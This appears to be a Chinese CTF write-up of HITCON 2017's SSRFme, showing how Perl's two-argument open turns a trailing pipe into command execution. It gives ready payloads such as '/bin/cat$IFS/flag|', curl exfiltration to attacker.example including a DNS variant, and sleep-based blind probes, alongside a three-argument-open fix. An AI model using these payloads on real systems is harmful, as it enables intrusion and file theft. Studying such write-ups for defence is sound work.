Perl open双参数漏洞:SSRF转RCE的CTF实战分析

发布时间:2026/10/17 3:50:42
Perl open双参数漏洞:SSRF转RCE的CTF实战分析
其实在 CTF 的 Web 题里最让人上头的往往是那种“源码一眼看到底却还是要被语言特性绊一跤”的题目。HITCON 2017 的这道 SSRFme 就是这样一个不到十行的 Perl CGI 脚本表面上看是个文件读取功能题目名字还写着 SSRF结果真正打起来你会意识到只要把|放对位置一行请求就能直接命令执行flag 能原样打到页面上。这篇文章我会从源码还原、Perl open 的管道机制、完整的解题流程、常见的排坑记录和防御修复这五个角度把这道题拆透。适合刚接触 Perl 相关漏洞的 CTF 新手也很适合那些还在维护古老 CGI 系统的开发同学对照自查。1. 这道题在考什么几行 Perl 代码引发的命令执行1.1 先还原一下题目里的源码这道题的环境一般是一个 Linux 容器前面挂着 Apache后面跑着 Perl CGI。入口脚本长得非常朴素下面这份代码是我根据常见版本还原出来的核心逻辑#!/usr/bin/perl use strict; use warnings; print Content-Type: text/plain\n\n; my $query $ENV{QUERY_STRING}; open(my $fh, $query) or die open failed: $!; while ($fh) { print; } close($fh);功能描述起来很简单把 HTTP 请求里的查询字符串QUERY_STRING当成一个文件名然后open这个文件再把内容逐行打印出来。如果一切正常你访问/?/etc/passwd就可能看到系统的用户列表访问/?data.txt就可能看到同目录下的文件内容。但问题恰恰出在这句open(my $fh, $query)上。在 Perl 里双参数形式的open从来不只是在“打开文件”。它会根据字符串的特征决定要不要把字符串交给 shell 去执行。用户可控的$query一旦能进入这里就相当于把系统命令的执行权限也交给了攻击者。1.2 为什么它叫 SSRF 却直接变成了命令执行题目叫 SSRFme是因为如果攻击者想访问内网资源原本可以用某种“服务端请求伪造”的手法把open的参数变成一个 URL让服务器去请求内网主机。但 Perl 的open本身不支持http://这种协议你直接喂一个http://127.0.0.1:8000/给它它只会傻傻地当成一个文件名去打开然后报错。换句话说在这道题里真正的 SSRF 实际上是通过“命令执行”来完成的。比如在服务器上存在curl的情况下你完全可以用管道方式执行/usr/bin/curl$IFShttp://127.0.0.1:8080/然后把返回结果读回来。这样一来SSRF 和 RCE 就变成了一件事。题目名叫 SSRFme更像是命题组在提示你这里确实有个 SSRF 的入口但 Perl 的 open 会告诉你事情远不止 SSRF 这么简单。2. Perl open 的管道魔法理解这道题的第一步2.1 open 双参数和三参数的区别Perl 的open函数有两种常见写法。三参数形式比较安全open(my $fh, , $filename) or die open failed: $!;这种写法把操作模式和文件名彻底分开$filename只会被当成普通路径处理即使内容里有|、这种字符也不会触发特殊行为。双参数形式则比较古老也是这道题的根源open(my $fh, $string) or die open failed: $!;在双参数形式里$string同时承担了“模式”和“文件名”两个职责。Perl 会先检查这个字符串的写法再决定把它理解成“打开一个文件”还是“执行一条命令”。这个设计本来就带着很浓的 shell 重定向味道一旦外部输入直接进入这里就存在逃逸风险。2.2 “|” 在开头和结尾方向完全不同理解这道题的关键是记住 Perl 对字符串的解析规则传入 open 的字符串Perl 理解成的行为能否通过FH读到输出/etc/passwd打开普通文件能读到的是文件内容cat /etc/passwd尝试打开名字里带空格的文件大概率失败| cat /etc/passwd执行命令句柄是命令的 stdin不能读不到输出cat /etc/passwd |执行命令句柄读取命令的 stdout能读到命令输出注意最后两行管道符的位置决定了句柄的方向。| command表示把当前进程的输出交给命令的输入文件句柄是“写方向”command |表示从命令的输出读取文件句柄是“读方向”。在脚本里while ($fh)是从句柄读取内容的。如果你把 payload 写成?|cat /flag那 Perl 会执行cat /flag但这个句柄是往命令的 stdin 写数据的你根本读不到命令的 stdout。于是命令执行了页面却一片空白。这也正是我在实际尝试中被坑得最惨的一个点。这个现象可以打个比方| command是你拿着水管往对方嘴里灌水command |是对方端着锅往你碗里倒汤。你的循环代码while ($fh)只负责“端起碗喝汤”所以必须让命令的输出流到你这端。2.3 一个看起来像文件读取的函数为什么能执行命令很多人第一次接触这道题时会很困惑open不是打开文件的吗为什么会执行命令因为 Perl 的双参数 open 在设计上就走了一条“偷懒”的路线。它的文档里明确说了如果字符串末尾是管道符Perl 会 fork 一个子进程执行管道符前面的命令并把命令的标准输出接到这个文件句柄上。如果字符串以管道符开头则反过来Perl 会启动命令并把当前进程的输出作为命令的标准输入。这个设计本质上就是借着 shell 来实现“打开一个命令的输出流”。所以$string里的命令部分最终是由/bin/sh或者 Perl 内部调用的 shell 来解释执行的。一旦外部输入能控制这段字符串命令注入就不可避免。顺带说一句很多人以为“双参数 open 只要发现字符串里有空格就会执行命令”这个理解并不准确。比如你传一个cat /etc/passwd不带两端管道符Perl 只会尝试打开一个名为cat /etc/passwd带空格的文件并不会执行命令。真正触发命令执行的是字符串首尾的管道符这个细节值得反复强调。3. 解题实操从探测、空格绕过到拿 flag3.1 确认 Perl 和 open 的特征如果这是一道黑盒题第一步不是急着打 payload而是先确认服务端到底是什么语言、什么函数。一个比较自然的探测方式是先请求一个普通文件比如/?/etc/passwd。如果页面输出了 passwd 内容说明大概率存在某种文件读取能力。接着可以故意触发错误看错误信息。比如请求/?/nonexistent_xxx如果脚本使用了or die页面上很可能会回显类似下面这样的内容open failed: No such file or directory at /var/www/cgi-bin/ssrfme.cgi line 7.这行报错基本能确认是 Perl 脚本而且能看出open的调用位置。如果题目把错误信息关掉了也可以直接根据行为特征猜测是 Perl在返回的Content-Type: text/plain后面跟一个空行然后逐行输出文件内容这些特征都很 Perl。3.2 构造回显 Payload管道符号放在哪里确认是双参数 open 之后最简单的回显 payload 是让open执行命令并从命令的 stdout 读取。我最初犯的经典错误是这样的/?|cat /flag结果页面什么都没返回。原因是管道符在命令前面句柄是写方向循环根本读不到东西。改正后的姿势是让管道符出现在命令末尾/?cat /flag|这样 Perl 会执行cat /flag并把命令的 stdout 接到句柄上while ($fh)就能逐行把内容打出来。但这还不是终点因为 URL 里直接写空格很容易让请求出问题。你不可能在浏览器地址栏里输入一个裸空格HTTP 请求的请求行是不允许出现未编码空格的。如果代码直接拿$ENV{QUERY_STRING}作为文件名字符串那么%20也不会被服务器自动解码成空格因为你拿到的是原始查询字符串不是经过 URL 解码的参数值。所以真正干净的做法是通过 shell 变量代替空格最常见的是$IFS。IFS是 shell 的内部字段分隔符默认值就包含空格。你可以构造这样的 payload/?cat$IFS/flag|没有空格没有需要编码的字符。Perl 把整串cat$IFS/flag|交给 shell 时shell 会把$IFS展开成空格于是实际执行的是cat /flag。3.3 完整请求示例与结果解读如果 flag 文件就在/flag完整的 curl 请求可以是这样的curl http://目标地址/cgi-bin/ssrfme.cgi?/bin/cat$IFS/flag|注意看几个细节命令建议写绝对路径/bin/cat因为 CGI 环境的 PATH 很可能不完整直接写cat可能找不到命令。$IFS用单引号包住整条 URL防止本地 shell 把$展开掉。管道符|必须原样出现在查询串里不要对它做 URL 编码。因为脚本直接读QUERY_STRING编码后的%7C不会被当成管道符open 就不会进入管道模式。如果环境提供/readflag之类的专用读取程序命令就更简洁了/?/readflag|这个 payload 没有任何空格也没有变量展开是最稳的一种。响应结果通常是一堆文本直接出现在页面上。比如执行ls/?/bin/ls$IFS/|可以看到根目录列表。执行cat就能直接看到 flag。如果页面空白先别急着怀疑命令没执行大概率是管道方向写反了或者脚本屏蔽了错误输出。3.4 无回显外带与盲打思路虽然这道题本身有回显但在其他类似场景里回显不一定总是存在。这时候可以走外带或者盲打。外带的典型做法是用 curl 或 wget 把命令结果带出来/?/usr/bin/curl$IFShttp://attacker.example/$(/bin/cat$IFS/flag)|不过这种写法在 URL 里塞括号和嵌套命令会比较痛苦实际测试时推荐先把命令结果写入一个可控位置或者通过 DNS 请求把结果拼到域名里/?/usr/bin/curl$IFShttp://$(/bin/cat$IFS/flag).attacker.example/|DNS 外带的好处是即使 HTTP 出流量被限制DNS 查询一般也能到达你的服务器。如果外带也不方便可以尝试时间盲打。比如/?/bin/sleep$IFS5|命令执行时如果sleep正常运行响应会有明显延迟。虽然这个 payload 没有输出但通过延迟可以确认命令注入存在为后续调整思路争取余地。4. 排坑速查一个 payload 记住哪些教训这道题看起来简单实际操作中踩坑概率并不低。我把常见的现象、原因和解决办法整理成一张速查表以后遇到类似题目可以对着排查。现象大概率原因解决办法?|cat /flag无回显管道符在命令前句柄是写方向改成?cat /flag|让管道符在命令尾部对管道符做%7C编码后无回显脚本直接读QUERY_STRING不会做 URL 解码管道符必须原样出现在 URL 中URL 里写空格导致请求异常HTTP 请求行不允许裸空格用$IFS代替空格用分隔命令和参数无效QUERY_STRING中不会被当作空格不要依赖改用$IFS命令提示 not foundCGI 环境 PATH 不完整使用绝对路径比如/bin/cat页面输出乱码读取了二进制文件用/usr/bin/base64$IFS/flag|先输出 base64找不到目标文件位置不清楚 flag 路径先执行/bin/ls$IFS/、/bin/ls$IFS/home/探测open 报错但看不到具体信息脚本可能屏蔽了错误信息先读取/etc/passwd或/proc/self/cmdline验证功能这里有一个很值得记住的细节$IFS后面如果紧跟着的是字母或数字shell 会把它解析成同一个变量名。比如cat$IFSflag会被解释成变量$IFSflag而不是$IFS加字符串flag。所以当文件名以字母开头时建议用${IFS}写法比如/?/bin/cat${IFS}flag|我通常在路径从/开始的时候直接写cat$IFS/flag因为/不是合法变量名字符shell 能正确区分。但如果遇到相对路径或文件名老老实实用${IFS}最稳妥。另一个容易忽略的点是如果服务器把请求交给 Apache 的 CGI 处理QUERY_STRING是原始的未解码查询字符串。这意味着你最好直接输原始字符不要过度转义。比如$这个符号在 URL 里是合法字符不需要编码编码了反而坏事。唯一要小心的是在终端里执行 curl 时用单引号包住 URL避免本地 shell 抢先展开$IFS。5. 防御视角别让“文件名”变成“命令”5.1 修复 CGI三参数 open 与白名单校验这道题的修复方法其实非常简单关键就是不再往双参数 open 里传外部输入。原代码如果改成三参数形式并且加上路径校验漏洞基本上就能堵住#!/usr/bin/perl use strict; use warnings; print Content-Type: text/plain\n\n; my $file $ENV{QUERY_STRING}; die bad path unless $file ~ m{^/data/[\w.\-/]$}; open(my $fh, , $file) or die open failed: $!; while ($fh) { print; } close($fh);三参数 open 把模式固定为只读$file里的|、、都不会再触发特殊解释。再加上一个严格的正则白名单攻击者就很难把路径引到系统文件或者临时文件上。值得提醒的是正则校验不要写成“只过滤危险字符”的黑名单形式。黑名单永远有绕过空间白名单加固定目录前缀才是正道。如果业务确实需要读取多个目录最好定义允许的根目录然后用realpath做最终校验确认解析后的真实路径仍然在白名单内。5.2 测试视角从文件读取到命令执行的判断顺序从安全测试的角度看这道题也给了一个很好的方法论提示当你看到一个服务端从输入构造“文件名”的函数时不要只想着文件读取或 SSRF一定要顺手试一下它能不能逃逸到命令执行。测试顺序可以这样来先传普通路径确认文件读取能力。传一个|命令和命令|对比响应差异确认是否是管道敏感的 open。如果确认是 Perl 或类似语言立刻尝试命令回显。回显不通时再考虑 DNS 外带和时间盲打。很多人会在第 1 步就停住直接认定这是一道 SSRF 题然后去花大把时间打内网。但实际上命令执行往往比 SSRF 更直接也更容易拿 flag。切换到命令执行视角后很多谜题会变得异常简单。5.3 从这道题反推真实业务风险别看这是 CTF 题目真实业务里其实到处都有类似的影子。文件下载接口、图片处理服务、邮件附件读取、模板加载、日志查看器这些功能如果允许用户直接指定文件名又碰巧用了 Perl 双参数 open、Python 的os.popen、PHP 的system、Ruby 的IO.popen这类接口命令注入的风险就会立刻出现。我个人的经验是凡是用户可输入的字符串在进入“打开资源”这个动作之前都要先想清楚它会不会被二次解释。文件名就是文件名路径就是路径一个接口如果把这两件事混为一谈迟早会出事。这并不仅是一句开发原则更是在一道道 CTF 题里反复被验证过的血泪教训。拿到 HITCON 2017 的 SSRFme 这道题以后我最大的体会就是Perl 的open不是单纯的 open它是一个通往 shell 的暗门。你看到题目里有文件读取功能脑子里要同时挂起两根弦——这根字符串除了能当文件名是不是还能当命令。用这个思路去测很多“SSRF”题目其实都能在几分钟内直接变成 RCE。后来我在写自己的测试脚本时也习惯性地把|命令、命令|这两种形态都跑一遍因为谁也不知道哪天又会遇到一个双参数 open 风格的遗留接口。